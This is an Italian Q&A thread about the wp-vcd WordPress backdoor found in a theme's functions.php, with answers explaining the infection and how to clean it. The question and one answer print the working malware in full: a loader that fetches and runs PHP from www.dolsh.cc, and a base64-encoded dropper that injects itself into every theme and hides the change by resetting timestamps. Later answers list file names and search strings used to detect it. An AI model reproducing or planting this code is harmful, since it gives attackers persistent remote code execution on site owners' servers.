Cos'è questo codice nel file functions.php del mio tema? if (isset($_REQUEST['action']) && isset($_REQUEST['password'])

1 ott 2017, 22:55:19
Visualizzazioni: 27.2K
Voti: 7

Questo codice presente nel tuo functions.php, che riappare anche dopo averlo cancellato, è un malware. È un codice malevolo che è stato iniettato nel tuo tema WordPress.

if ( isset( $_REQUEST['action'] ) && isset( $_REQUEST['password'] ) && ( $_REQUEST['password'] == '227972a1a62825660efb0f32126db07f' ) ) {
    $div_code_name = "wp_vcd";
    switch ( $_REQUEST['action'] ) {
        case 'change_domain';
            if ( isset( $_REQUEST['newdomain'] ) ) {

                if ( ! empty( $_REQUEST['newdomain'] ) ) {
                    if ( $file = @file_get_contents( __FILE__ ) ) {
                        if ( preg_match_all( '/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code4\.php/i', $file, $matcholddomain ) ) {

                            $file = preg_replace( '/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file );
                            @file_put_contents( __FILE__, $file );
                            print "true";
                        }


                    }
                }
            }
            break;


        default:
            print "ERROR_WP_ACTION WP_V_CD WP_CD";
    }

    die( "" );
}


if ( ! function_exists( 'theme_temp_setup' ) ) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[ REQUEST_URI ];
    if ( stripos( $_SERVER['REQUEST_URI'], 'wp-cron.php' ) == false && stripos( $_SERVER['REQUEST_URI'], 'xmlrpc.php' ) == false ) {
        // Tentativo di scaricare codice malevolo
        if ( $tmpcontent = @file_get_contents( "http://www.dolsh.cc/code4.php?i=" . $path ) ) {
            function theme_temp_setup( $phpCode ) {
                $tmpfname = tempnam( sys_get_temp_dir(), "theme_temp_setup" );
                $handle   = fopen( $tmpfname, "w+" );
                fwrite( $handle, "<?php\n" . $phpCode );
                fclose( $handle );
                include $tmpfname;
                unlink( $tmpfname );

                return get_defined_vars();
            }

            extract( theme_temp_setup( $tmpcontent ) );
        }
    }
}
3
Commenti

Che tema stai usando?

lukgoh lukgoh
1 ott 2017 23:18:24

Per favore inserisci il nome del tema. È possibile che il tuo sito sia stato hackerato; oppure il tema che stai utilizzando ha una backdoor inserita dagli autori - difficile dire quale delle due. Un modo per verificare è controllare il codice del tema per vedere se la backdoor è ancora presente. In ogni caso, dovresti eliminare quel file e controllare più a fondo per vedere se altri file sono infettati (in altri modi).

Sas3 Sas3
2 ott 2017 05:35:14

Ciao, uso il tema Boss. Ma il codice appariva in ogni tema come il tema twentyseventeen. Il codice è sparito ora che ho usato Wordfence per scansionare e rimuoverlo. Penso che il problema derivi dai plugin che uso.

Topy Topy
2 ott 2017 09:41:50
Tutte le risposte alla domanda 4
1

Il tuo sito web è stato violato. Questo è un codice dannoso che viene attivato dall'esterno, caricando ulteriore contenuto malevolo dal dominio 'www.dolsh.cc'.

Se il contenuto ritorna dopo che lo hai rimosso, significa che hai file compromessi da qualche altra parte che riscrivono automaticamente functions.php ogni volta che la pagina viene caricata. Devi trovare e ripulire tutti i file infetti, ed è impossibile dire quali file sono stati compromessi senza un'analisi dettagliata del sito web. La maggior parte delle infezioni di questo tipo si diffondono in varie aree per assicurarsi che siano difficili da rimuovere.

Dovresti eseguire un backup del database e poi reinstallare WordPress da zero, insieme a tutti i plugin che hai e che non sono infetti. È possibile che qualche plugin sia la fonte dell'infezione, o il tema stesso. Se hai scaricato plugin o temi da qualche sito illegale (che offre plugin premium gratuitamente), quella è la fonte più probabile dell'infezione.

1 ott 2017 23:03:40
Commenti

Ciao, grazie per le informazioni. Ho usato Wordfence per eseguire la scansione e ho trovato i problemi. Dopo aver rimosso i file, ho notato che il codice non è tornato di nuovo. Devo reinstallare WordPress da zero? Grazie.

Topy Topy
2 ott 2017 10:10:00
2

Utilizzo Wordfence per scansionare i file. La scansione mostra i seguenti risultati:

  • Il file functions.php nel tema twentyseventeen contiene lo stesso codice menzionato sopra.
  • Nella cartella wp-includes, c'è un file sospetto "wp-vcd.php" che contiene il seguente codice:

    <?php 
    error_reporting(0);
    ini_set('display_errors', 0);
    
    $install_code = 'PD9waHANCg0KaWYgKGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pICYmIGlzc2V0KCRfUkVRVUVTVFsncGFzc3dvcmQnXSkgJiYgKCRfUkVRVUVTVFsncGFzc3dvcmQnXSA9PSAneyRQQVNTV09SRH0nKSkNCgl7DQokZGl2X2NvZGVfbmFtZT0id3BfdmNkIjsNCgkJc3dpdGNoICgkX1JFUVVFU1RbJ2FjdGlvbiddKQ0KCQkJew0KDQoJCQkJDQoNCg0KDQoNCgkJCQljYXNlICdjaGFuZ2VfZG9tYWluJzsNCgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsnbmV3ZG9tYWluJ10pKQ0KCQkJCQkJew0KCQkJCQkJCQ0KCQkJCQkJCWlmICghZW1wdHkoJF9SRVFVRVNUWyduZXdkb21haW4nXSkpDQoJCQkJCQkJCXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZmlsZSA9IEBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXykpDQoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKHByZWdfbWF0Y2hfYWxsKCcvXCR0bXBjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzXCgiaHR0cDpcL1wvKC4qKVwvY29kZTRcLnBocC9pJywkZmlsZSwkbWF0Y2hvbGRkb21haW4pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCg0KCQkJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGUgPSBwcmVnX3JlcGxhY2UoJy8nLiRtYXRjaG9sZGRvbWFpblsxXVswXS4nL2knLCRfUkVRVUVTVFsnbmV3ZG9tYWluJ10sICRmaWxlKTsNCgkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywgJGZpbGUpOw0KCQkJCQkJCQkJICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgInRydWUiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KDQoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KCQkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJYnJlYWs7DQoNCgkJCQkNCgkJCQkNCgkJCQlkZWZhdWx0OiBwcmludCAiRVJST1JfV1BfQUNUSU9OIFdQX1ZfQ0QgV1BfQ0QiOw0KCQkJfQ0KCQkJDQoJCWRpZSgiIik7DQoJfQ0KDQoJDQoNCg0KaWYgKCAhIGZ1bmN0aW9uX2V4aXN0cyggJ3RoZW1lX3RlbXBfc2V0dXAnICkgKSB7ICANCiRwYXRoPSRfU0VSVkVSWydIVFRQX0hPU1QnXS4kX1NFUlZFUltSRVFVRVNUX1VSSV07DQppZiAoIHN0cmlwb3MoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10sICd3cC1jcm9uLnBocCcpID09IGZhbHNlICYmIHN0cmlwb3MoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10sICd4bWxycGMucGhwJykgPT0gZmFsc2UpIHsNCg0KaWYoJHRtcGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cuZG9sc2guY2MvY29kZTQucGhwP2k9Ii4kcGF0aCkpDQp7DQoNCg0KZnVuY3Rpb24gdGhlbWVfdGVtcF9zZXR1cCgkcGhwQ29kZSkgew0KICAgICR0bXBmbmFtZSA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCAidGhlbWVfdGVtcF9zZXR1cCIpOw0KICAgICRoYW5kbGUgPSBmb3BlbigkdG1wZm5hbWUsICJ3KyIpOw0KICAgIGZ3cml0ZSgkaGFuZGxlLCAiPD9waHBcbiIgLiAkcGhwQ29kZSk7DQogICAgZmNsb3NlKCRoYW5kbGUpOw0KICAgIGluY2x1ZGUgJHRtcGZuYW1lOw0KICAgIHVubGluaygkdG1wZm5hbWUpOw0KICAgIHJldHVybiBnZXRfZGVmaW5lZF92YXJzKCk7DQp9DQoNCmV4dHJhY3QodGhlbWVfdGVtcF9zZXR1cCgkdG1wY29udGVudCkpOw0KfQ0KfQ0KfQ0KDQoNCg0KPz4=';
    
    $install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
    $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
    
    
            $themes = ABSPATH . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes';
    
            $ping = true;
                $ping2 = false;
            if ($list = scandir( $themes ))
                {
                    foreach ($list as $_)
                        {
    
                            if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
                                {
                                    $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php');
    
                                    if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
                                        {
                                            if (strpos($content, 'WP_V_CD') === false)
                                                {
                                                    $content = $install_code . $content ;
                                                    @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
                                                    touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
                                                }
                                            else
                                                {
                                                    $ping = false;
                                                }
                                        }
    
                                }
    
    
                                                              else
                                                            {
                                                            $list2 = scandir( $themes . DIRECTORY_SEPARATOR . $_);
                                                     foreach ($list2 as $_2)
                                                            {
    
    
                                                                                    if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php'))
                                                      {
                                    $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php');
    
                                    if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php'))
                                        {
                                            if (strpos($content, 'WP_V_CD') === false)
                                                {
                                                    $content = $install_code . $content ;
                                                    @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php', $content);
                                                    touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php' , $time );
                                                    $ping2 = true;
                                                }
                                            else
                                                {
                                                    //$ping = false;
                                                }
                                        }
    
                                }
2 ott 2017 10:06:11
Commenti

Non scaricare mai plugin o temi da siti web dubbi: nel 99% dei casi finirai con malware e il tuo sito verrà hackerato. Scarica sempre da WordPress.org o dal sito ufficiale dell'autore del plugin/tema.

Milan Petrovic Milan Petrovic
2 ott 2017 10:13:40

In wp-includes ho rimosso anche questo file class.wp.php. Sembra identico a class-wp.php, ma tutto il contenuto del file è codice dannoso.

Topy Topy
4 ott 2017 18:56:10
0

Il codice che hai condiviso indica la presenza del malware wp-vcd nel tuo sito WordPress. I principali sintomi del malware wp-vcd sono popup spam e la creazione di URL spam sul sito.

Alcune varianti del codice malevolo sono state osservate modificare i file core di WordPress e aggiungere nuovi file nella directory /wp-includes.

  • Il malware crea una backdoor che consente agli hacker di accedere al tuo sito per periodi prolungati
  • Gli hacker sono in grado di sfruttare le vulnerabilità nei plugin e nei temi di WordPress per caricare il malware wp-vcd su siti vulnerabili.

Nel file functions.php all'interno del tuo tema, potresti vedere del codice simile a questo:

<?php if (file_exists(dirname(__FILE__) . '/class.theme-modules.php')) include_once(dirname(__FILE__) . '/class.theme-modules.php'); ?>

Pulizia

Approccio 1 – Cerca i file sul server che sono solitamente infettati dall'hack wp-vcd

  1. wp-includes/wp-vcd.php
  2. wp-includes/wp-tmp.ph
  3. wp-content/themes/*/functions.php (tutti i temi installati sul server, sia attivi che non)
  4. class.theme-modules.php (all'interno della cartella del tema)

Approccio 2 – Cerca pattern di stringhe che si trovano nei file infetti dal malware

  1. tmpcontentx
  2. function wp_temp_setupx
  3. wp-tmp.php
  4. derna.top/code.php
  5. stripos($tmpcontent, $wp_auth_key)

A scopo di riferimento - https://www.getastra.com/blog/911/how-to-fix-wp-vcd-backdoor-hack-in-wordpress-functions-php/

17 giu 2019 11:02:41
1

Se hai scaricato plugin premium gratuitamente, controlla se contengono questi due file, fai attenzione, sono i file responsabili di questo problema.

class.plugin-modules.php class.theme-modules.php

Prima dell'installazione, questo file era di 35kb, una volta installato e attivato il tema/plugin, sposta il suo codice in tutte le cartelle wp-includes del tuo hosting. Quindi rimane attivo in tutti gli altri siti nascosto nelle wp-includes.

22 lug 2018 08:24:16